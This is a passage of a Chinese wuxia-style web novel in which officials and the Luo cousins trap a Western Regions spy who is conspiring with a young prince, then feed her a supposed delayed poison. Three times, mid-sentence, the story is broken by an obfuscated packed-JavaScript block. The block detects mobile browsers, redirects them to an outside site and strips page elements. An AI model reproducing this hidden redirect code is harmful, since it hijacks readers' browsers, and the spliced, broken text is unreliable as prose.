越过罗晏,罗易走向了韦祎,“刚才见你只吃了半碗粥,怕是要饿的,喏,给你带的。” 看到这情景,云攸纾刚想要动身插在韦祎和罗易中间,就被罗晏给拉住肩膀走动不得,“平焕我们去院里射箭,”随即又把韦祎和罗易推进房内,“你们两个进屋说。”关上了房门。 “碗里是苦瓜鸡丝粥,大的这一盘是清蒸的鲜鱼肉,去了刺的,小的这盘是不甜的红豆糕,都是清淡消肿的食物,虽然不是我做的,不过味道一定比我堂哥那黏嘴的白粥好多了。” “喔,多谢了。”韦祎点点头。 “银盘银箸,放心吃。” “对了,你刚才为何避开实情?”韦祎小声问。 “这个事儿啊,本来就有些可疑。”罗易坐在圆桌对面,“平焕势单力薄,没什么价值。若是敌国掳走他,只有可能是为了破坏你们的出使,那么,为何不直接杀他?” 这事儿肖丰之前也提过,韦祎记得。 “我观周将军为人正直、满腔赤诚,转眼间便出卖主将,也不太合理。”罗易接着说,“他这样做,会不会是听令行事?” 听令,自然是听云攸纾的令了,虽然韦祎是周冲的主将,但云攸纾却是王爷,骗过了周冲还是有可能的。 “平焕是我的朋友,我不愿意怀疑他。不过,他小小年纪,却不是心软的人,我们谨慎些总是没错。”罗易笑笑,“等鱼上钩,自然见分晓。” 按照韦祎的分析,周冲虽然为人正直、严以律己,却是个很容易被威胁的人。 就说他的老娘,那么大的年纪,竟然在京城独自居住,而且腿脚不便、双目昏花,如果歹人想掳走她,也太容易了!失踪了几天没人发现、报官都是有可能的。 用自己比一比,韦祎觉得就算自己被歹人掳走了,柳不寒都不会被歹人掳走的。 等罗易走了,朱愈又来送了一次敷脸的药膏,墨绿色清凉凉的膏状物涂了一脸,似乎真的没那么难受了,敷半个时辰洗掉,照镜子一看,真的消肿不少,眼睛都可以睁得开,只是脸上怎么有些泛绿色? 去问朱愈,朱愈说这消肿的敷药就是这样的,见效快,别人都是敷腿肿关节肿,染绿了也无妨,不必担心,绿色一两天就能褪去。 是不必担心,罗晏和云攸纾玩了一阵子,进来一看,憋着笑走了。云攸纾随后进来,“你这是怎么了?!是不是中毒加重了,怎生面色泛绿,我去叫郎中!” “不用,不用,只是被药草染的。”韦祎赶忙安抚住他。 云攸纾放下了弩,起身四顾,神秘兮兮地把房门关上,又把窗户一扇一扇合上。 “这是做什么?” 云攸纾比了个噤声的手势长长嘘了一声。韦祎想想,他这是生怕别人不知道他要和我秘密谈话吗?初秋的天气,热着呢,也就是刚刚不用再放冰盆的程度,别人都开门开窗,他却把门窗都闭上。 “你说吧,我听着呢,四下无人。”韦祎只好开口说。 “你怎么能知道四下无人?”云攸纾严肃兮兮地问,一副要说大事的样子。 韦祎疑惑,刚才不都说了吗?只好再说一遍,“四下都没有呼吸声,没有人的。” “你能听见呼吸声?”云攸纾一脸赞叹又吃惊的样子。 被人这样赞叹,把韦祎搞得有点不好意思,脸稍微一红,弄得又红又绿的。这孩子怎么说也在皇家长大,见识着实有些短浅。 “前天我就想告诉你了,结果因为……因为体力不支,晕倒过去了。” “你那是被吓晕的。”韦祎腹诽,眼神游移。 “我就是体力不支才晕倒的,不是被吓晕的!”云攸纾读出了他的眼神,再次强调。“结果昨天一直都没有机会说,到了晚上又是你昏过去了!我别提有多着急了。” “多,多谢挂怀。” “谁要挂怀你啊!我知道,你是柳贵妃的外甥,是十七弟的表哥,才不会对我安什么好心呢!还有我那个皇帝爹,你跟他也是一伙的,从前在宫里的时候,他可喜欢你了呢!”云攸纾突然说话没好气了。 “哈?”韦祎心想,我怎么不知道皇帝挺喜欢我呢?还有姨母和绚儿哪里惹他了? “算了,我要说正事,就算你和皇帝是一伙儿的,至少还是我们齐国的人。” “你说吧。” “你和他们兄妹什么关系?我觉得他们不是好人!”云攸纾压低了声音。 “哦?何以见得?”韦祎挑挑眉,都觉得对方不是好人,事情变得有意思了。 “我刚来东平就遇见他们两个了,明明是因为我的原因,误伤了他们的伙计,他们竟然反过来帮我!自从结识了他们,追在我身后要杀我的人都不见了。但是到这我也没有怀疑,毕竟是帮了我。” “既然是帮你,就不要多想了。”韦祎敷衍道。 “但是这次的事情可不一样!为什么你刚到了东平,刚找到我,就正好遇见了他们两个,还立刻猜出了密旨的内容?可见他们是有所预谋,故意在这件事里面插上一脚!” “要不是逸希劝你,你还不肯跟我走呢。”韦祎忍不住抱怨。 “你别打岔!”云攸纾直接跳过韦祎提出的问题。“然后事情就更诡异了!他们说是周将军去找他们求助,他们才追出去的,周将军是朝廷命官,为何不找官府求助,反而让这些民间的人出面?而且在我和周将军都走了之后,现场是交给殷渔甫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357869|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理,他有足够的时间去做安排,等你到了,再蛊惑你!” 云攸纾的理论还挺完整,“逸希姐姐带人追到了悬崖那,明明知道下面有个水洞,却还是等你到了才动作,还有罗大哥,他怎么可能那么巧合的就赶回来,和你一起进洞、上船?一定是想要,想要把知情人给灭口!” “嗯,也算是说得通。”韦祎反应了好一会儿才意识到罗大哥指的是罗晏,“你和你的逸希姐姐不是好得很,你竟然怀疑她?” “这是两回事!”云攸纾双颊涨红。 “你喜欢她,和她是坏人,是两回事?她想要你的命,你也一样要喜欢她?”韦祎调侃道。 “逸希姐姐她也没有想要杀我啊。”云攸纾想了想,“我只是说她有可能是坏人。” “那你待如何?”韦祎问。 “应该把此事告诉东海的密探,把他们拘起来查一查!”云攸纾撇嘴道。 “咳!”韦祎被他呛到了,密探抓人,基本抓了、拷打一番,人就有去无回了。就算是皇帝,想动罗家骨干都要思考再三,尤其此时将要大战,主动挑起国家内部矛盾可不明智,说不得还要靠罗氏捐钱支持军饷呢。 “我觉得这不成。”韦祎说。 “为什么?” “没有凭据啊。” “那也要让她和我们一起走,总会露出马脚来的。” “好,我知道了,容我调查一番。”韦祎送云攸纾出了门,嘱咐他自己揉一揉胳膊,今天射箭了,若是不放松肌肉,明天胳膊要抬不起来的。“对了,弩你拿着,防身用得上。” “我拿走了弩,你用什么啊?”云攸纾接了弩,关切道。 “没事,我有短剑。” 虽然碧血短剑被罗晏糟蹋了一回,但洗一洗还是能用的。 回房间,把关得紧紧的窗户打开,可算透气了。 “喂,非礼勿听。”韦祎拉长了声音。 罗晏从一扇窗户里翻了进来,嗤嗤地笑:“你这绿脸!说不定是小易故意在戏弄你。”笑了一会儿,幸灾乐祸地挑眉,“怎么样,是不是觉得案情扑朔迷离,自己宛若养了两房姨太太的地主老爷?” “你才是地主老爷。”韦祎骂。 刚才罗易来说时,罗晏在院子里,自然能听见。后来云攸纾又来说时,韦祎听见了这家伙正坐在屋顶上呢。 要是云攸纾知道了他控诉了老半天的这位坏人,一直听着,而且韦祎还知道他在听,怕是要气吐血。 “你怎么看?”韦祎问。 “先别说我怎么看,我还要说个事情呢,昨夜你晕了之后,你猜平焕怎么跟小易说的?” “怎么说?” “他说你和周冲有可能和几年前想要杀他的人是一伙的,把他骗出封地,死无对证。还说你一定是柳贵妃娘娘派来的,为了夺嫡扫清障碍。” 韦祎扶额,姨母又不是脑子坏了,杀人找谁不行?要派外甥亲自走一趟?不过又说回来了,姨母好像也没有要夺嫡的意思啊,就算有,云攸纾的分量,真不够当敌人。 “喔呵,真有这个可能性呢,如果他还有点价值的话。”韦祎觉得荒唐,正话反说。 “你不怀疑我啊?说不定我真是平焕口中的大坏人呢,而且我知道你不能吃茨菇,昨晚就是我做的手脚。” 韦祎冷笑,不了解罗易、不了解云攸纾,难道还不了解罗晏吗? 时间跳回昨晚,如果是罗晏想让韦祎过敏,他会直接端出一盘茨菇来:“茨菇,吃,我想看猪头!”随后,在韦祎跟他打一架之后,再说清究竟想做什么。 “这孩子真是想象力丰富,能两面三刀到这个程度挺不容易。”韦祎下结论。 “这么说就不对了,小易昨晚还对平焕说,她就是为了保护平焕,才要一起西去的。”罗晏都要忍不住拿出纸笔来画关系图了,“她转头又对你说,让你提防平焕。再看看你,你一边答应了小易要等着查平焕,一边又答应平焕去查小易,你不也一样两面三刀?” “我不两头答应,还能两头反对吗?” 罗晏在那里大大方方的笑,“你们三个一起向西走,同心协力横跨大齐国,一定会非常精彩。” 42. 妖入梦 当然是精彩,简直是已成三国鼎立。 “严肃点。” “我怎么严肃?你这脸原本又泛红又肿得厉害,像猪头,现在是又绿又不太肿,像癞蛤蟆。” “你是坏人当事人之一,不给点建议怎么成?”韦祎想着,刚才云攸纾把这位“罗大哥”划分到坏人一类里面去了。 “你也是坏人。”罗晏不甘示弱。“若是平焕在发展势力,这些年小易一定会有所察觉,既然她没说,就是没有。再说小易,她生在东海,长在东海,这辈子的故事都清清楚楚,近几年正春风得意,没理由搭上异国势力。” “知道了,他们两个都没有嫌疑,只有你有嫌疑,你不是常常往来各国吗?” “是这个道理。”罗晏说,“还有你,你也很可疑,你千真万确是柳贵妃娘娘的外甥。” 韦祎皱起眉来,为什么参与讨论的两个人,会得出自己最有嫌疑的结论?全是罗晏搅合的。 “别太沮丧了,你想想看,我也惨呢。”俗话说,一起比惨,痛苦减半,罗晏要用上这条定律来开解好友。“同燕国开战已成定局,燕国本就抑制商人,我们家在那边发展艰难,才有些起色,一开战,困难增加十倍。” 又接着说,“我觉得小易不会给你添麻烦,你若是实在烦了平焕,捆了他押到西域去。”罗晏摸出一个本子和好些纸张出来,在韦祎这屋的桌案上摊开,“多想无益,反正现在是钓鱼,我要赶工,正好你帮忙。” 韦祎以为他是在做些家里的账目,好奇去接过来本子看一眼。 “陈生听了丫头春爽的一席话,愈发觉得不可辜负婉婉小姐的心意,发奋读书到了子夜方才和衣睡下。刚躺下不多时,闻得花香扑鼻,暖风拂面,有一女子轻声软语唤他:陈郎,我来赴约了,还不快来见我。陈生闻声便爬了起来,口中唤着婉婉二字,拨开花丛,向内里摸去。婉婉正等他。平滑如床榻的大石上,铺着厚厚一层牡丹花瓣,卧一妙龄女子,黛眉开,娇横远岫,绿鬓淳,浓染春烟。陈生却一见大惊,遮面道:婉婉,男女大防,你怎生不穿衣裳?” 韦祎拍了书:“这是什么污糟东西?!” 看一眼罗晏正执笔画着的图,应当是“怎不穿衣裳”的下一步。 插画已经画了一半,罗晏头也不抬,“帮我想想,下一张图该画些什么?都怪这作者故事老套,我现在词穷才尽,实在不知道还能画些什么花样出来,画完这本不跟他合作了!” 皱着眉翻开下一章故事,讲的是这陈生自觉梦了婉婉小姐,早上醒来面红耳赤,却又觉得回味无穷,于是想着婉婉小姐的花容月貌,忍不住又自娱自乐一遭。“这有什么好画的?有谁会愿意看这个丢人现眼的故事!”韦祎又把书扔回了桌上。 “这你就不懂了吧,你前后文看完,就知道这不是给男人看的,是给女子看的,这婉婉小姐是个妖精所化,专门勾引意淫豪门小姐的穷酸,捉弄他们精力耗尽而亡。最后婉婉妖女救美女,放弃妖精修为,和一位豪门小姐相守一生去了。”罗晏给他解释。“所以说插画要设计十多名男人,让我画女人也罢了,画男人真是太难了!” “什么玩意?”韦祎想着,“换了性别尚算新奇,只是为何换了男女,仍是那一套没新意的旧故事?” “换了性别不新奇了,你看太少。” “看得多是什么值得骄傲的事情吗?”见罗晏在那得意显摆,韦祎怒道。 这工作是罗晏的业余爱好,给话本故事画插图,发挥他的恶趣味才能。据说已经成为了这行当里的知名人士,而且,因为十分神秘,无人知晓真身,所以吹捧他的人更多。 说到这,想起刚才罗晏抱怨的男人多了太难画,他词穷才尽,韦祎心中觉得有些不妙。 迅速把书捡回来,翻了几张前文已经画好的图。 果然见一眼熟的反派男子,身材欣长、着深色圆领袍、戴黑幞头,一脸不耐烦的倒霉相。正翻开的这页上,画的是婉婉一怒之下拍掉了这人的幞头,露出乱糟糟的发髻来,这男子大惊,一手用袖子遮住头,一边满脸羞愧地爬在地上捡幞头。 “罗壹通!这是我吗?”韦祎指着那几张画,这书中人名叫赵梦春,事迹可谓是人如其名,十分不堪。 “不是,你看错了。”罗晏头也不抬,但是已经迈开腿做好了逃逸准备。 “你欠揍。”韦祎不跟他废话,幸好这本书没有发出去,先揍他一顿再逼他重画倒也不亏。 “你没把我画进别的书里吧?” 罗晏转转眼睛,“我的作品送过你三册大合集,你没看?” 韦祎不语,罗晏送的东西,他一向是直接让四萬扔进厢房,这等物件还怕被宓儿乱翻看见了,用箱子锁上,从此眼不见为净。 “你若是没看,回去认真拜读一番,就知道了。” 两人在屋内上窜下跳的追打,直到一炷香之后秦琼敲门进来,耐心地假笑道:“少主,韦公子,做什么呢?声音在院子外面都听得到,忘了现在要装病吗?快安静下来。” 外面已经动起来了,韦祎戴着青纱斗笠,走房上隐蔽处,出去观望了一番,几个郎中高人样子的人被陆续引进来,由朱愈接待。 商量妥当之后有的人留宿,有的人则做出了一副“无药可医、可叹可惜”的样子走了出去。 院子里还来了两个佣人,用小炉子烧药,弄得韦祎和云攸纾住的这间院子药香飘散,若是有人进了府邸,闻着这味道就能找来。 众人各自忙着一堆的事情,就连罗晏都在忙着画他的兼职工作。韦祎觉得自己闲着不太好,“我是不是应该临阵抱佛脚,打坐运功一番?” “请便。”罗晏说。 韦祎正经八百地盘膝坐在塌上,凝神运功。 不多时,地上响起踢踢踏踏的脚步声,“唉,这陈生真是实在无趣的穷酸,婉婉想要玩些花样,他每次都要羞涩一番才半推半就了。看看这写的,什么叫又想见婉婉的美妙之姿,又恐自己表现不力被婉婉轻视。这可是大忌,越是犹犹豫豫,越是容易被姑娘家轻视!” 好,这人纯心捣乱。 韦祎睁开眼睛,摸出一个铜钱就飞出去。 罗晏早有防备,伸手一把接住,“韦大人,真是太客气了!在下分析得在情在理,您还给赏钱呢,客气客气,我就笑纳了!” 刚打闹被训斥,此时的重点是不出声音的打。于是韦祎又闭上眼睛假装运功,罗晏也回去作画,二人静待时机抽冷子飞铜钱。 一直到了夜里。 都吃过饭了,罗晏才真正意识到截稿日的危机感,开始埋头作画,直到听见后院里喧闹声起。 “走。”两人出门,翻上房顶,居高临下张望。 后院里几个校尉带着家丁们吵吵嚷嚷喊打喊杀,一道纤细灵活的黑影子从高低建筑中穿梭而过,肖丰又带了几个人赶到,冲上去和黑影子过了几招,被推得一个后仰摔倒,那道影子扔下个什么东西来,放出一片烟雾,闪身不见踪影。 “又往东去了!”几个家丁喊起来,吹起了哨子,三声长,三声短,这是按照计划行事的暗号。 “肖将军演戏的功夫还不成啊。”罗晏小声议论,随即也拿出哨子吹了两声,表示知晓了。 “他肯演这个戏,我就知足了。”韦祎看看,肖丰鲤鱼打挺从地上站了起来,气呼呼向韦祎藏身的这处小楼的房檐看了一阵子,才与众人一同假装向东去。 罗易爬楼梯上了这栋楼。悄声:“没想到真的有鱼上钩。” “你如何安排?” “东宅今晚又会进贼,我们的人会追贼人追进东院,正遇见捉贼的东院家丁,两伙人冲在一起,会闹上一阵子的。” 三人一同望着黑影掠进了院子。 “那我们去看戏?” “我也去。”罗易说,“带上我。” “你可是嫌疑人之一,怎么能带上你?”罗晏笑。 “那子隽还是嫌疑人呢,你也是嫌疑人,你们两个都去看了,我为何去不得?” “好,那我们三个嫌疑人一起去看看。”罗晏说完,立刻马上双脚发力,独自轻身跃出。 韦祎刚才还想着一定要赶在罗晏前面跳出去,不然罗晏一定要自己去抱罗易。 果然,罗易看堂哥已经飞出去了,立刻双手抓着韦祎的胳膊不让他自己飞走。 “你松手。”韦祎说。 “不松,松手你该把我扔下了。”罗易坚守阵地。 “你不松手,我怎么带你过去?” 罗易将信将疑地松开了手,正等韦祎来抱她呢。 感觉身上衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357870|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服一紧,韦祎竟然一手抓着她的脖领子,一手抓腰带,把她后背向上、四肢朝下地横拎起来,罗易也来不及抗议了,被人横拎着在房上跃来跃去,她是第一次经历,赶忙双手捂住嘴,防止惊呼出声。 在云攸纾住宿房间的屋顶落脚,将罗易轻轻放下。罗晏已经在房顶上了,见到此情此景,摇摇头叹息,“不解风情。” 韦祎和罗易一左一右的狠狠拍他。 左右受敌,罗晏闷哼了一声,揉着胳膊。韦祎正想得意,胳膊上挨了一拳,罗易悄声骂道:“我都要从衣服里面掉出来了!” “悄声悄声,进入正题了。”三位可疑人员并排坐在房顶上,揭开一块瓦片,凑在一起向下看。 第四位可疑人员云攸纾正紧张兮兮地坐在屋里,一手背在身后,拿着上了弦的弩。另一手则做泰山崩于前而面不改色的大将之风,端着一碗茶在品。 黑影子在门廊上张望一番,见四下无人,也不用一直走窗户了,而是推开了云攸纾的门,大大方方走了进去。 刚进门,便十分专业的猫着腰绕屋内一圈,将边边角角都检查一遍,确保没有藏着人,随后揭开大灯的罩子,把灯给熄了,又接着走向放在角落处的小灯。 “别熄那个灯!”云攸纾一直很有风范的坐着不动,此时却突然说话。 “为什么?”黑影子厉声问。 这声音很怪,语调蹩脚,显然不是大齐人,也不太会说大齐的语言。更重要的是,声音虽然怪,却悦耳,显然是个年纪还小的姑娘。 “我……我怕,不对,我是觉得如果我熄了灯,就会引起别人怀疑!” “你怕黑?”黑影子立刻揭穿。 “不是!” “真是废物!”黑影子态度严厉。 在房上围观的三个人抬头互相看看,总觉得危机感里面添上了许多八卦因子。 “我要的东西呢?” “他们藏得紧,我还没有拿到。”云攸纾声音小了下来。 “你不是王爷吗?你命令那个官儿交给你,他还敢不交出来?”黑影嘲讽道。 “我还不想暴露呢!而且我怀疑东西根本没在他身上,你如果不信,你就自己去搜啊!” “那官儿好生狡猾,上次我去探时,他放了一封假信在身上,欺我不识你们齐国字,我费力复写出来让人看,结果是一篇狗屁不通的东西,根本不是国书!” “我若是能找到,就一定会告诉你里面说了什么。”云攸纾鼓起了勇气,质问道:“你为什么毁约!” “哦?你知道我毁约?”黑影子饶有兴致。 “你只说要抓走周将军,为什么要砍他的胳膊?” “我当你说什么呢,原来我砍他的胳膊就是毁约了?”黑影笑道,“他一个高大男子,若是手脚俱全,我怎么制得住?砍了也就砍了。” “你!”云攸纾急道:“你要遵守约定!还有,你该赶快走了,你刚给韦将军下了毒,今天他们说好了要设计谋抓你呢。” “看来你那位罗氏的姐姐也不是很信任你啊!下毒?哼!”黑影子冷笑,“我刚才把他们引到东边去了,一群武艺不精的蠢货而已!” 沉默一会儿,云攸纾问她:“看你也是个姑娘家,武艺竟然比我好多了,你叫什么名字?” “你用不着知道!不过,既然我们有共同的目标,以后也要通力合作,你还好心提醒有人在设计我,我就告诉你,为了清掉首尾,不留后患,我已经把周冲给杀了,尸体处理得当,你大可放心,他绝无机会再把你的秘密说出来。” “你竟然杀了他!你毁约!”云攸纾一弹身站了起来,抓起弩箭对准了黑影子。 黑影子不以为意,“你是聪明人,要知道,所有人里面,只有你和我的目的是相同的,杀掉一个小兵而已,你我都方便。齐国的那些才是你的敌人,你敢杀了我?没有我,你什么事情都做不成。” 云攸纾仍然握着弩,手指扣在扳机上,胳膊乱抖,“你别以为我不敢放箭!” “瞧瞧你这胳膊,这就是强盛东齐的皇室子弟?连个杀人的力气都没有。”冷笑两声,“我该走了,记住你要办的事!” 看她一闪身便轻快地出了门,云攸纾把弩轻轻放在桌上,随即沉默坐下,寂静无声,不知在想些什么。 43. 断肠散 房顶的三人交流眼神,罗晏熟练把瓦片盖回去。 一指黑影轻快跳跃而去的方向,韦祎点点头,两人一起跃出去,一左一右,跟在后面暗中包抄。 罗易自然是被落在了云攸纾房间的屋顶上,喊也不能喊,只能安静找地方坐下,缩在阴影里等着人回来再带她下去。 既有目标,便直奔目标,该探看的事情结束,应该迅速离去。敌人被引去了东边,自然应该从西面离开。 刚穿过两间院子,未到墙边,忽觉耳边生风,危机感升腾,赶忙止住了脚步。 果然,一只全钢的甩手刺扎进了脚尖前面两寸的土地上,用力极大,几乎完全没入地面。若是刚才没有尽力收回脚,此时脚面一定会被刺穿。 脚步被止,身体却不停,抽出一柄匕首,半拧身,凭着感觉全力自上划下。 一刀砍空,正想站定看清后边来人何处,危机却在正面出现。 人未出现,掌风先到,直抵鼻尖,这招被打中一定会晕!立刻横了匕首挡在面前,仍是发觉面前的空气都像是被对方的掌力给吹尽了,手掌虽未打到脸上,却觉得呼吸不继,乱了气息。 这正是罗晏所图。让他扇小姑娘巴掌,下不去手。 气息乱,后力不及时,便没能及时发出下一步的动作。于是,一柄冰凉凉碧盈盈的短剑就架上了脖颈。 “噫——”罗晏现身,堵在住黑影子的面前,看清了韦祎用来胁迫黑影子的那柄剑,七拐八弯地发出了嫌弃的一声来。 韦祎知道这人在嫌弃些什么,这剑刚用来捅了一肮脏男子的腿根,转而架在一个姑娘脖子上,不管这姑娘是不是敌人,都应该嫌弃一下子。 “还不是你弄的?”韦祎谴责他。 “你就不能换一柄?”罗晏嫌弃道。 见二人在莫名其妙顾左右而言他,黑影子抓紧机会,也不管颈上的短剑,而是挥动右手的匕首向身后控制她的那人心脉处刺去。 “厉害!”韦祎冷声赞叹,钢刺一直扣在手心里,见黑影子挥动手臂,适时发出,不偏不倚刺穿了黑影子的手掌,匕首哐当一声落在地上。 “不知怜香惜玉。”罗晏说,“她跑不了,别架着剑了。” 黑影子侧身站定,迅速点住了不断出血的右手,闭口不言。 “说说吧,你是谁呀?”罗晏和颜悦色。 “原来,真的有人在设计捉我,你们又是谁?”黑影子以问复答。 “姑娘你闯入我家宅院,我们要捉你,自然是此间主人家了。”罗晏欠身示意:“在下罗晏,敢问姑娘芳名?” “我是芜夙。”见有机会周旋,当然不能放弃。“那他又是谁?” 韦祎刚才特意拿来轻纱斗笠戴上,自己的这副“尊容”去应付敌袭,着实有损威势。 所以他此时正非常奇怪的在晴朗的黑夜里戴着斗笠,要知道一般人戴斗笠都是为了遮阳遮雨。 “如你所见,他……不太方便。不过,姑娘也未以真容示人,不如姑娘和我这位朋友各退一步,彼此坦诚相见,如何?”罗晏仍旧十分有礼貌地抛出条件。 “不行。”韦祎先反对了。 露在蒙面巾外的一双灰褐色眼睛在韦祎和罗晏之间来回扫视,咬着牙鄙夷地咕哝了两句。随即双脚踏地,轻身便跑。 罗晏一闪身,后发先至,不偏不倚挡在了芜夙的去路上,“都说了你跑不掉,何苦再试呢?”一手出剑指,击打右肩上的穴道,另一手接上,不伤人,只扯掉了面上的黑巾。 “喔!”即使是罗晏,也忍不住小声惊叹。 蒙面巾下是古铜色的皮肤,乌发浓密,高鼻深目,瞳仁竟然是灰色的,看样子年纪不大,只有十六、七岁,脸上还有些稚气。 “西域人。”韦祎也有些意外,本以为这里面只掺和了北燕人,没想到西域也在插手,“她刚才说什么,两个手软的什么?”还是那个问题,凡是粗俗些的生僻词外语,韦祎都听不懂。 “她说,两个心慈手软的死断袖。”罗晏给他翻译出来,“好像是西秦话,语调又不太像。” “什么东西?”这可是令人疑惑了,都打了她了,怎么心慈手软了?还有这断袖是从哪看出来的? “因为这套衣裳吧。”罗晏小声猜测。 对了,这套衣服是罗易卖不出去的压箱底布料做的,同色不同款的两件外套,上好的布料和裁剪,样式考究,并不像是哪里的制服,着实暧昧。 “姑娘误会了,我和这个斗笠男可是清清白白。敢问姑娘为何到此?” “你们听得懂西秦话?”芜夙问。肩上被点了一指,痛过之后并未觉得受伤,只是麻,几乎不影响动作。 “姑娘你是个密探,都来了我们大齐却不识我们大齐的文字,才更奇怪啊。” “我不是密探,也从未计划着要来你们东齐,我来此办事只是为了活着,还请二位大侠高抬贵手,放了我这个小女子。”芜夙冷笑着挪动步伐,手掌上虽然是穿刺伤却故意避开了骨头和重要血脉,打定了主意这二人是心慈手软。 好烦,为什么要在这里瞎扯淡?正事呢?韦祎开口:“周冲在何处?” “原来你们是那个呆头鹅的同伙,这就好办了。放我走,留他性命,若是把我扣下,他必死无疑。”芜夙提出了新条件。 “周将军都落进了姑娘的手里,姑娘不是个心慈手软的人,周将军竟然能活着?”罗晏听了,原来这姑娘也是个随口撒谎的人物,前后说法完全不一样,继而发问。 “有用处的人,我当然要留着。二位待如何?” “空口无凭,告诉我周冲在哪。”韦祎说。 “我们是敌人,都清楚,即使我把呆头鹅放了,你们也一定不会放过我,反过来,你们大可以杀了我,呆头鹅一定会死,就看你们舍不舍得了。” 韦祎沉默,罗晏不好替他做决定,当着敌人的面也没法商量。 芜夙可不会因为对方静止,就停止动作,扬手向韦祎处冲过去,罗晏料定这姑娘奈何不了韦祎,于是没动作。韦祎向左移动,躲开拳头,芜夙伸了手可不是为了打韦祎,目标是韦祎的斗笠,斗笠上的轻纱被韦祎的动作带得飘飞,被芜夙一把抓住,把整个斗笠都扯了下来,往远处一抛。 回忆起来,韦祎也不知道当时在想些什么。 斗笠被掀开,第一反应竟然是伸出胳膊来挡住脸。 随即,一手挡脸,同时抽身快走两步去追滚到一旁的斗笠,躬身想捡起来时,吹来一阵风,斗笠换了方向滚动,又有点慌乱地躬身走了两步,终于捡到了。 一看,上面却滚了泥巴,戴是没法戴了,不禁有些呆滞。 罗晏和韦祎同时都想到了,这情景,不是下午那故事话本里面的赵梦春吗? 事情都已经这样了,韦祎只好背身站着不动。罗晏忍住笑意,不再绕弯,直接伸腿把正要逃跑的芜夙踢翻在地,掐住脖子,掏出一个小瓷瓶,把里面的药液全都灌进她的口中,捏着嘴巴确保吞进腹内。 “正巧正巧,我这里有一瓶三日断肠散,你已经喝了,我们放你走,你把周冲给放了,我们再给你解毒,你看如何?”罗晏柔声询问。 芜夙没说话,赶快运气检查,却发现身体并没有异样感。 “别查啦,独家秘方,不到第三天是不会发作的。我们可是好人,你放了周将军,我们一定给你解药。” 双方对视了一阵子。 “还不快走啊?不如我请你吃宵夜?”罗晏终于决定先开口。 灵活轻巧的身影一闪身便没入了黑夜之中,不忘把匕首和蒙面巾捡起来,动作可比韦祎捡斗笠麻利多了。 “我先说,我决定不改赵梦春了,未曾想,颇为传神。” “我现在就回去把书扔了。” “喂喂喂,有点同情心,马上就要截稿,我好辛苦的!你也是很奇怪啊,平时不见你这么注意形象,今天怎么转了性了?难道是因为那位西域姑娘实在貌美?你若是看上了她,小易可怎么办。” 说起了罗易,二人想起来罗易被他俩扔在了房顶上。 在不惊动云攸纾的前提下,把脸色不善的罗易从房上接下来。 钓鱼还算成功,下一步是吃宵夜庆祝。 “他就这么睡了?”韦祎有些不信。 “看样子是躺下睡了,有没有睡着,就未可知了。”罗易刚才在房上动弹不得,继续掀开瓦片围观云攸纾来着。 “我去看着。”肖丰的任务完成得比较早,于是他先到了厨房,做了一锅爆米花,挂上一点小糖霜,用大牛皮纸袋子装着,走去云攸纾的屋子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365629|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,几个校尉一溜烟跟上。 因为没厨子,所以是晚间刚得闲的秦琼在做宵夜,殷濯还在外围没有回来,朱愈刚到。 “符怜只会做这一种,别嫌弃。”罗易看见厨房内摆着小碳炉,便向韦祎和罗晏介绍。 要吃烤肉。 厨房门口的空地上放一个长形的炉子,里面已经点了炭火,在炉子上架一块稍稍向上凸,边缘有沿的铁板,刷上一点油。 几大片鸡皮在热水里轻微汆烫,捞出沥干水,放在烤盘上面煎出鸡油来做底,把炙干的鸡皮弃之不食,端上主菜来。 切厚片的羔羊肉、切成蝴蝶片的去骨鸡腿肉、斩成整齐小块的猪肋排,还有切厚片的土豆、红薯,洗净摘成单叶的紫苏、生菜,鲜辣椒圈、蒜片。 “切这么厚是因为只能切这么厚,谁都别问。”罗易看见秦琼一脸等着发脾气的表情,赶在她前面揭穿,“就是熟得慢些而已。” “这就对了嘛。”秦琼拉着朱愈去进厨房帮忙。在门口的这三位自力更生,找来一排小板凳,给所有人摆好碗筷,兴奋地坐着等肉熟。 秦琼去做酱料,蒜水和芝麻酱加盐混匀,装在大碗里,放上勺子方便大家自取。用干净的铁锅焙香干辣椒,盛出来捣碎,另外装一碟子。朱愈那边又生了一个圆的小碳炉,也搬到外面的空地上去,上面架着铁丝网,熟糯米捣成的团子用竹签串成一串串的,放在铁丝网上烤。还有已经煮熟的玉米,沥干水等着上碳炉。 等大家都准备停当,殷濯才刚刚回来。 外围并无异动,应付人事上的关系可比抓贼人耗时多了。 “这就庆祝钓鱼成功了?靠谱吗?”饭前,罗晏提起。 